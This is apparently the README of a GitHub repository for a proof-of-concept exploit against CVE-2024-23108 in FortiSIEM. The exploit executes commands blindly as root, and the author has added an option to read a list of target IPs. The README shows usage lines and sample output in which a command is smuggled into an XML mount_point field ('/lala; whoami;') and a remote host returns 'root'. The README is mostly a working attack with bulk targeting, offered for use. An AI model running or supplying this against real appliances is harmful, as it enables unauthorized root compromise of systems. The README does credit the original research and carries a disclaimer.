/CVE-2024-23108

POC iteration for CVE-2024-23108 which can use -l for list input

Primary LanguagePython

CVE-2024-23108 POC

Proof of concept exploit to blindly execute commands as root on vulnerable FortiSIEM appliances. I just quickly added the option to supply a list and added some coloring. The orginal (and all the cred) goes to horizon3 (see blog post below)

Blog Post

Root cause and indicators of compromise here: https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive

Follow the Horizon3.ai Attack Team on Twitter for the latest security research:

Usage

python3 CVE-2024-23108.py -h
usage: CVE-2024-23108.py [-h] -t TARGET [-l LIST] [-p PORT] -c COMMAND

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        The IP address of the target
  -l LIST, --list LIST  File containing list of IP addresses
  -p PORT, --port PORT  The port of the Phoenix Monitor service (default: 7900)
  -c COMMAND, --command COMMAND
                        The command to blindly execute

Single Target

python3 CVE-2024-23108.py -t <target_ip> -p <port> -c <command>

Multiple Targets

python3 CVE-2024-23108.py -l <file_path> -p <port> -c <command>

Example:

python3 CVE-2024-23108.py -l iplist.txt -p 7900 -c whoami

[!] Error connecting to 66.77.88.99: timed out
[!] Error connecting to 99.88.77.66: [WinError 10061] No connection could be made because the target machine actively refused it
[!] Error connecting to 88.77.99.66: timed out
[!] Error connecting to 66.77.99.88: timed out
[*] Sending to 77.99.66.88:
<TEST_STORAGE type="nfs">
    <server_ip>127.0.0.1</server_ip>
    <mount_point>/lala; whoami;</mount_point>
</TEST_STORAGE>
[+] Sent to 77.99.66.88!
[+] Received from 77.99.66.88: b'root'

Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.